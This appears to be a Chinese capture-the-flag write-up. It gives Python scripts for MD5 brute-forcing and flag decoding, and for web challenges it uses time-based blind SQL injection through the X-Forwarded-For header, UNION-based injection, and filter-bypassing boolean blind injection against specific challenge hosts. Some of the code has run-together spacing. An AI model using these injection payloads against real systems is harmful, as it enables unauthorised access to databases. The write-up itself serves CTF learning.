import hashlib md5='d9ddd1800f' s=r'1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxc' for a in s: for b in s: for c in s: for d in s: st=a+b+c+d mst=hashlib.md5(st).hexdigest() if(mst[0:10]==md5[0:10]): print mst break
flag='' st = 'KfxEeft}f{gyrYgthtyhifsjei53UUrrr_t2cdsef66246087138\0087138' index = (1,4,14,10,5,36,23,42,13,19,28,13,27,39,48,41,42,26,20,59) for n inrange(0,17): flag = flag + st[index[n]-1:index[n]] print flag
flag:KEY{e2s6ry3r5s8f61024}
Web
一道简单的Web题
网站显示:your ip is :xxx,类似于实验吧whoareyou运用的是X-Forwarded-For注入。 脚本
for i inrange(1,100): havetry=0 forstrin guess: headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)} try: res=requests.get(url,headers=headers,timeout=7) except requests.exceptions.ReadTimeout, e: havetry=1 flag = flag + str print"flag:", flag break if havetry==0: break print'result:' + flag
flag:flag{4c9551d5be5612f7bb5d286785}
猜猜我在哪
网站显示../flag.php。
访问robot.txt提示查看index.txt。
1 2 3 4 5 6 7 8 9 10 11
```php <?php if (empty($_GET["file"])){ echo('../flag.php'); return; } else{ $filename='pages/'.(isset($_GET["file])?$_GET["file"]:"welcome.txt").'.html'; include $filename; } ?>
# -*- coding: utf-8 -*- import requests url = 'http://aim.zhugeaq.com:83/' defcheck(payload): postdata = {'username':'1','password':payload} r = requests.post(url, postdata).content return'admin_r'in r
password = 'flag{9' s = r'0123456789:abcdefg|~' for t in xrange(33): for i in s: payload = '1\' or 1 union select 1,2,\'%s\' order by 3#' % (password+i) if check(payload): password = password + chr(ord(i)-1) print password break
flag:flag{93fcff2af3914f7}
一道很难的Web题
打开题目是一个登录界面,用burpsuite抓包,post传入username和pass的参数。
猜测是sql注入。
手工测试过滤了:
1 2 3 4 5 6
or # -- 空格 % ……
之前看到的文章里有用=的布尔型盲注。构造payload尝试。
username='=(1)='1显示用户名错误。
username='=(0)='1显示密码错误。
括号里的内容就是bool值,可以供我们查询,直接运用python脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
# -*- coding: utf-8 -*- import requests url = 'http://aim.zhugeaq.com:85/01/login.php' defcheck(payload): postdata = {'username':payload,'pass':'xx'} r = requests.post(url, postdata).content return'密码错误'in r
password = '' s = r'0123456789abcdef'
for i in xrange(32,0,-1): for c in s: payload = '\'=(mid((select(pass)from(admin))from(%d))=\'%s\')=\'0' % (i, (c+password)) if check(payload): password = c + password break print password
root@2333:~# mount -o loop flag /mnt/ root@2333:~# cd /mnt root@2333:/mnt# ls flag.txt lost+found root@2333:/mnt# cat flag.txt key{feb81d3834e2423c9903f4755464060b}